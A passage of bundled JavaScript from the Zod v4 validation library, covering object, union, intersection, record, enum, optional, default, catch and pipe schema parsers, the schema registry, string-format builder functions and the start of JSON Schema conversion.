schema = shape[key];\n const isOptionalIn = schema?._zod?.optin === \"optional\";\n const isOptionalOut = schema?._zod?.optout === \"optional\";\n doc.write(`const ${id} = ${parseStr(key)};`);\n if (isOptionalIn && isOptionalOut) doc.write(`\n if (${id}.issues.length) {\n if (${k} in input) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n else if (!isOptionalIn) doc.write(`\n const ${id}_present = ${k} in input;\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n if (!${id}_present && !${id}.issues.length) {\n payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: undefined,\n path: [${k}]\n });\n }\n\n if (${id}_present) {\n if (${id}.value === undefined) {\n newResult[${k}] = undefined;\n } else {\n newResult[${k}] = ${id}.value;\n }\n }\n\n `);\n else doc.write(`\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n }\n doc.write(`payload.value = newResult;`);\n doc.write(`return payload;`);\n const fn = doc.compile();\n return (payload, ctx) => fn(shape, payload, ctx);\n };\n let fastpass;\n const isObject$1 = isObject;\n const jit = !globalConfig.jitless;\n const allowsEval$1 = allowsEval;\n const fastEnabled = jit && allowsEval$1.value;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$1(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n if (jit && fastEnabled && ctx?.async === false && ctx.jitless !== true) {\n if (!fastpass) fastpass = generateFastpass(def.shape);\n payload = fastpass(payload, ctx);\n if (!catchall) return payload;\n return handleCatchall([], input, payload, ctx, value, inst);\n }\n return superParse(payload, ctx);\n };\n});\nfunction handleUnionResults(results, final, inst, ctx) {\n for (const result of results) if (result.issues.length === 0) {\n final.value = result.value;\n return final;\n }\n const nonaborted = results.filter((r) => !aborted(r));\n if (nonaborted.length === 1) {\n final.value = nonaborted[0].value;\n return nonaborted[0];\n }\n final.issues.push({\n code: \"invalid_union\",\n input: final.value,\n inst,\n errors: results.map((result) => result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n });\n return final;\n}\nconst $ZodUnion = /*@__PURE__*/ $constructor(\"$ZodUnion\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.options.some((o) => o._zod.optin === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"optout\", () => def.options.some((o) => o._zod.optout === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"values\", () => {\n if (def.options.every((o) => o._zod.values)) return new Set(def.options.flatMap((option) => Array.from(option._zod.values)));\n });\n defineLazy(inst._zod, \"pattern\", () => {\n if (def.options.every((o) => o._zod.pattern)) {\n const patterns = def.options.map((o) => o._zod.pattern);\n return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join(\"|\")})$`);\n }\n });\n const first = def.options.length === 1 ? def.options[0]._zod.run : null;\n inst._zod.parse = (payload, ctx) => {\n if (first) return first(payload, ctx);\n let async = false;\n const results = [];\n for (const option of def.options) {\n const result = option._zod.run({\n value: payload.value,\n issues: []\n }, ctx);\n if (result instanceof Promise) {\n results.push(result);\n async = true;\n } else {\n if (result.issues.length === 0) return result;\n results.push(result);\n }\n }\n if (!async) return handleUnionResults(results, payload, inst, ctx);\n return Promise.all(results).then((results) => {\n return handleUnionResults(results, payload, inst, ctx);\n });\n };\n});\nconst $ZodIntersection = /*@__PURE__*/ $constructor(\"$ZodIntersection\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n const left = def.left._zod.run({\n value: input,\n issues: []\n }, ctx);\n const right = def.right._zod.run({\n value: input,\n issues: []\n }, ctx);\n if (left instanceof Promise || right instanceof Promise) return Promise.all([left, right]).then(([left, right]) => {\n return handleIntersectionResults(payload, left, right);\n });\n return handleIntersectionResults(payload, left, right);\n };\n});\nfunction mergeValues(a, b) {\n if (a === b) return {\n valid: true,\n data: a\n };\n if (a instanceof Date && b instanceof Date && +a === +b) return {\n valid: true,\n data: a\n };\n if (isPlainObject(a) && isPlainObject(b)) {\n const bKeys = Object.keys(b);\n const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1);\n const newObj = {\n ...a,\n ...b\n };\n for (const key of sharedKeys) {\n const sharedValue = mergeValues(a[key], b[key]);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [key, ...sharedValue.mergeErrorPath]\n };\n newObj[key] = sharedValue.data;\n }\n return {\n valid: true,\n data: newObj\n };\n }\n if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length) return {\n valid: false,\n mergeErrorPath: []\n };\n const newArray = [];\n for (let index = 0; index < a.length; index++) {\n const itemA = a[index];\n const itemB = b[index];\n const sharedValue = mergeValues(itemA, itemB);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [index, ...sharedValue.mergeErrorPath]\n };\n newArray.push(sharedValue.data);\n }\n return {\n valid: true,\n data: newArray\n };\n }\n return {\n valid: false,\n mergeErrorPath: []\n };\n}\nfunction handleIntersectionResults(result, left, right) {\n const unrecKeys = /* @__PURE__ */ new Map();\n let unrecIssue;\n for (const iss of left.issues) if (iss.code === \"unrecognized_keys\") {\n unrecIssue ?? (unrecIssue = iss);\n for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).l = true;\n }\n } else result.issues.push(iss);\n for (const iss of right.issues) if (iss.code === \"unrecognized_keys\") for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).r = true;\n }\n else result.issues.push(iss);\n const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k);\n if (bothKeys.length && unrecIssue) result.issues.push({\n ...unrecIssue,\n keys: bothKeys\n });\n if (aborted(result)) return result;\n const merged = mergeValues(left.value, right.value);\n if (!merged.valid) throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`);\n result.value = merged.data;\n return result;\n}\nconst $ZodRecord = /*@__PURE__*/ $constructor(\"$ZodRecord\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!isPlainObject(input)) {\n payload.issues.push({\n expected: \"record\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n const proms = [];\n const values = def.keyType._zod.values;\n if (values) {\n payload.value = {};\n const recordKeys = /* @__PURE__ */ new Set();\n for (const key of values) if (typeof key === \"string\" || typeof key === \"number\" || typeof key === \"symbol\") {\n recordKeys.add(typeof key === \"number\" ? key.toString() : key);\n const keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (keyResult.issues.length) {\n payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n continue;\n }\n const outKey = keyResult.value;\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }\n }\n let unrecognized;\n for (const key in input) if (!recordKeys.has(key)) {\n unrecognized = unrecognized ?? [];\n unrecognized.push(key);\n }\n if (unrecognized && unrecognized.length > 0) payload.issues.push({\n code: \"unrecognized_keys\",\n input,\n inst,\n keys: unrecognized\n });\n } else {\n payload.value = {};\n for (const key of Reflect.ownKeys(input)) {\n if (key === \"__proto__\") continue;\n if (!Object.prototype.propertyIsEnumerable.call(input, key)) continue;\n let keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (typeof key === \"string\" && number.test(key) && keyResult.issues.length) {\n const retryResult = def.keyType._zod.run({\n value: Number(key),\n issues: []\n }, ctx);\n if (retryResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (retryResult.issues.length === 0) keyResult = retryResult;\n }\n if (keyResult.issues.length) {\n if (def.mode === \"loose\") payload.value[key] = input[key];\n else payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n continue;\n }\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }\n }\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nconst $ZodEnum = /*@__PURE__*/ $constructor(\"$ZodEnum\", (inst, def) => {\n $ZodType.init(inst, def);\n const values = getEnumValues(def.entries);\n const valuesSet = new Set(values);\n inst._zod.values = valuesSet;\n inst._zod.pattern = new RegExp(`^(${values.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === \"string\" ? escapeRegex(o) : o.toString()).join(\"|\")})$`);\n inst._zod.parse = (payload, _ctx) => {\n const input = payload.value;\n if (valuesSet.has(input)) return payload;\n payload.issues.push({\n code: \"invalid_value\",\n values,\n input,\n inst\n });\n return payload;\n };\n});\nconst $ZodTransform = /*@__PURE__*/ $constructor(\"$ZodTransform\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n const _out = def.transform(payload.value, payload);\n if (ctx.async) return (_out instanceof Promise ? _out : Promise.resolve(_out)).then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n if (_out instanceof Promise) throw new $ZodAsyncError();\n payload.value = _out;\n payload.fallback = true;\n return payload;\n };\n});\nfunction handleOptionalResult(result, input) {\n if (input === void 0 && (result.issues.length || result.fallback)) return {\n issues: [],\n value: void 0\n };\n return result;\n}\nconst $ZodOptional = /*@__PURE__*/ $constructor(\"$ZodOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.optout = \"optional\";\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0;\n });\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (def.innerType._zod.optin === \"optional\") {\n const input = payload.value;\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((r) => handleOptionalResult(r, input));\n return handleOptionalResult(result, input);\n }\n if (payload.value === void 0) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodExactOptional = /*@__PURE__*/ $constructor(\"$ZodExactOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"pattern\", () => def.innerType._zod.pattern);\n inst._zod.parse = (payload, ctx) => {\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNullable = /*@__PURE__*/ $constructor(\"$ZodNullable\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.innerType._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0;\n });\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (payload.value === null) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodDefault = /*@__PURE__*/ $constructor(\"$ZodDefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) {\n payload.value = def.defaultValue;\n /**\n * $ZodDefault returns the default value immediately in forward direction.\n * It doesn't pass the default value into the validator (\"prefault\"). There's no reason to pass the default value through validation. The validity of the default is enforced by TypeScript statically. Otherwise, it's the responsibility of the user to ensure the default is valid. In the case of pipes with divergent in/out types, you can specify the default on the `in` schema of your ZodPipe to set a \"prefault\" for the pipe. */\n return payload;\n }\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleDefaultResult(result, def));\n return handleDefaultResult(result, def);\n };\n});\nfunction handleDefaultResult(payload, def) {\n if (payload.value === void 0) payload.value = def.defaultValue;\n return payload;\n}\nconst $ZodPrefault = /*@__PURE__*/ $constructor(\"$ZodPrefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) payload.value = def.defaultValue;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNonOptional = /*@__PURE__*/ $constructor(\"$ZodNonOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => {\n const v = def.innerType._zod.values;\n return v ? new Set([...v].filter((x) => x !== void 0)) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleNonOptionalResult(result, inst));\n return handleNonOptionalResult(result, inst);\n };\n});\nfunction handleNonOptionalResult(payload, inst) {\n if (!payload.issues.length && payload.value === void 0) payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: payload.value,\n inst\n });\n return payload;\n}\nconst $ZodCatch = /*@__PURE__*/ $constructor(\"$ZodCatch\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => {\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n });\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n };\n});\nconst $ZodPipe = /*@__PURE__*/ $constructor(\"$ZodPipe\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.in._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.in._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.out._zod.optout);\n defineLazy(inst._zod, \"propValues\", () => def.in._zod.propValues);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") {\n const right = def.out._zod.run(payload, ctx);\n if (right instanceof Promise) return right.then((right) => handlePipeResult(right, def.in, ctx));\n return handlePipeResult(right, def.in, ctx);\n }\n const left = def.in._zod.run(payload, ctx);\n if (left instanceof Promise) return left.then((left) => handlePipeResult(left, def.out, ctx));\n return handlePipeResult(left, def.out, ctx);\n };\n});\nfunction handlePipeResult(left, next, ctx) {\n if (left.issues.length) {\n left.aborted = true;\n return left;\n }\n return next._zod.run({\n value: left.value,\n issues: left.issues,\n fallback: left.fallback\n }, ctx);\n}\nconst $ZodReadonly = /*@__PURE__*/ $constructor(\"$ZodReadonly\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"propValues\", () => def.innerType._zod.propValues);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.innerType?._zod?.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType?._zod?.optout);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then(handleReadonlyResult);\n return handleReadonlyResult(result);\n };\n});\nfunction handleReadonlyResult(payload) {\n payload.value = Object.freeze(payload.value);\n return payload;\n}\nconst $ZodCustom = /*@__PURE__*/ $constructor(\"$ZodCustom\", (inst, def) => {\n $ZodCheck.init(inst, def);\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _) => {\n return payload;\n };\n inst._zod.check = (payload) => {\n const input = payload.value;\n const r = def.fn(input);\n if (r instanceof Promise) return r.then((r) => handleRefineResult(r, payload, input, inst));\n handleRefineResult(r, payload, input, inst);\n };\n});\nfunction handleRefineResult(result, payload, input, inst) {\n if (!result) {\n const _iss = {\n code: \"custom\",\n input,\n inst,\n path: [...inst._zod.def.path ?? []],\n continue: !inst._zod.def.abort\n };\n if (inst._zod.def.params) _iss.params = inst._zod.def.params;\n payload.issues.push(issue(_iss));\n }\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js\nvar _a;\nvar $ZodRegistry = class {\n constructor() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n }\n add(schema, ..._meta) {\n const meta = _meta[0];\n this._map.set(schema, meta);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.set(meta.id, schema);\n return this;\n }\n clear() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n return this;\n }\n remove(schema) {\n const meta = this._map.get(schema);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.delete(meta.id);\n this._map.delete(schema);\n return this;\n }\n get(schema) {\n const p = schema._zod.parent;\n if (p) {\n const pm = { ...this.get(p) ?? {} };\n delete pm.id;\n const f = {\n ...pm,\n ...this._map.get(schema)\n };\n return Object.keys(f).length ? f : void 0;\n }\n return this._map.get(schema);\n }\n has(schema) {\n return this._map.has(schema);\n }\n};\nfunction registry() {\n return new $ZodRegistry();\n}\n(_a = globalThis).__zod_globalRegistry ?? (_a.__zod_globalRegistry = registry());\nconst globalRegistry = globalThis.__zod_globalRegistry;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js\n// @__NO_SIDE_EFFECTS__\nfunction _string(Class, params) {\n return new Class({\n type: \"string\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _email(Class, params) {\n return new Class({\n type: \"string\",\n format: \"email\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _guid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"guid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v4\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v6\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv7(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v7\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _emoji(Class, params) {\n return new Class({\n type: \"string\",\n format: \"emoji\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _nanoid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"nanoid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link _cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\n// @__NO_SIDE_EFFECTS__\nfunction _cuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cuid2(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid2\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ulid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ulid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _xid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"xid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ksuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ksuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _e164(Class, params) {\n return new Class({\n type: \"string\",\n format: \"e164\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _jwt(Class, params) {\n return new Class({\n type: \"string\",\n format: \"jwt\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDateTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"datetime\",\n check: \"string_format\",\n offset: false,\n local: false,\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDate(Class, params) {\n return new Class({\n type: \"string\",\n format: \"date\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"time\",\n check: \"string_format\",\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDuration(Class, params) {\n return new Class({\n type: \"string\",\n format: \"duration\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _unknown(Class) {\n return new Class({ type: \"unknown\" });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _never(Class, params) {\n return new Class({\n type: \"never\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _maxLength(maximum, params) {\n return new $ZodCheckMaxLength({\n check: \"max_length\",\n ...normalizeParams(params),\n maximum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _minLength(minimum, params) {\n return new $ZodCheckMinLength({\n check: \"min_length\",\n ...normalizeParams(params),\n minimum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _length(length, params) {\n return new $ZodCheckLengthEquals({\n check: \"length_equals\",\n ...normalizeParams(params),\n length\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _regex(pattern, params) {\n return new $ZodCheckRegex({\n check: \"string_format\",\n format: \"regex\",\n ...normalizeParams(params),\n pattern\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _lowercase(params) {\n return new $ZodCheckLowerCase({\n check: \"string_format\",\n format: \"lowercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uppercase(params) {\n return new $ZodCheckUpperCase({\n check: \"string_format\",\n format: \"uppercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _includes(includes, params) {\n return new $ZodCheckIncludes({\n check: \"string_format\",\n format: \"includes\",\n ...normalizeParams(params),\n includes\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _startsWith(prefix, params) {\n return new $ZodCheckStartsWith({\n check: \"string_format\",\n format: \"starts_with\",\n ...normalizeParams(params),\n prefix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _endsWith(suffix, params) {\n return new $ZodCheckEndsWith({\n check: \"string_format\",\n format: \"ends_with\",\n ...normalizeParams(params),\n suffix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _overwrite(tx) {\n return new $ZodCheckOverwrite({\n check: \"overwrite\",\n tx\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _normalize(form) {\n return /* @__PURE__ */ _overwrite((input) => input.normalize(form));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _trim() {\n return /* @__PURE__ */ _overwrite((input) => input.trim());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toLowerCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toLowerCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toUpperCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toUpperCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _slugify() {\n return /* @__PURE__ */ _overwrite((input) => slugify(input));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _array(Class, element, params) {\n return new Class({\n type: \"array\",\n element,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _refine(Class, fn, _params) {\n return new Class({\n type: \"custom\",\n check: \"custom\",\n fn,\n ...normalizeParams(_params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _superRefine(fn, params) {\n const ch = /* @__PURE__ */ _check((payload) => {\n payload.addIssue = (issue$2) => {\n if (typeof issue$2 === \"string\") payload.issues.push(issue(issue$2, payload.value, ch._zod.def));\n else {\n const _issue = issue$2;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = ch);\n _issue.continue ?? (_issue.continue = !ch._zod.def.abort);\n payload.issues.push(issue(_issue));\n }\n };\n return fn(payload.value, payload);\n }, params);\n return ch;\n}\n// @__NO_SIDE_EFFECTS__\nfunction _check(fn, params) {\n const ch = new $ZodCheck({\n check: \"custom\",\n ...normalizeParams(params)\n });\n ch._zod.check = fn;\n return ch;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js\nfunction initializeContext(params) {\n let target = params?.target ?? \"draft-2020-12\";\n if (target === \"draft-4\") target = \"draft-04\";\n if (target === \"draft-7\") target = \"draft-07\";\n return {\n processors: params.processors ?? {},\n metadataRegistry: params?.metadata ?? globalRegistry,\n target,\n unrepresentable: params?.unrepresentable ?? \"throw\",\n 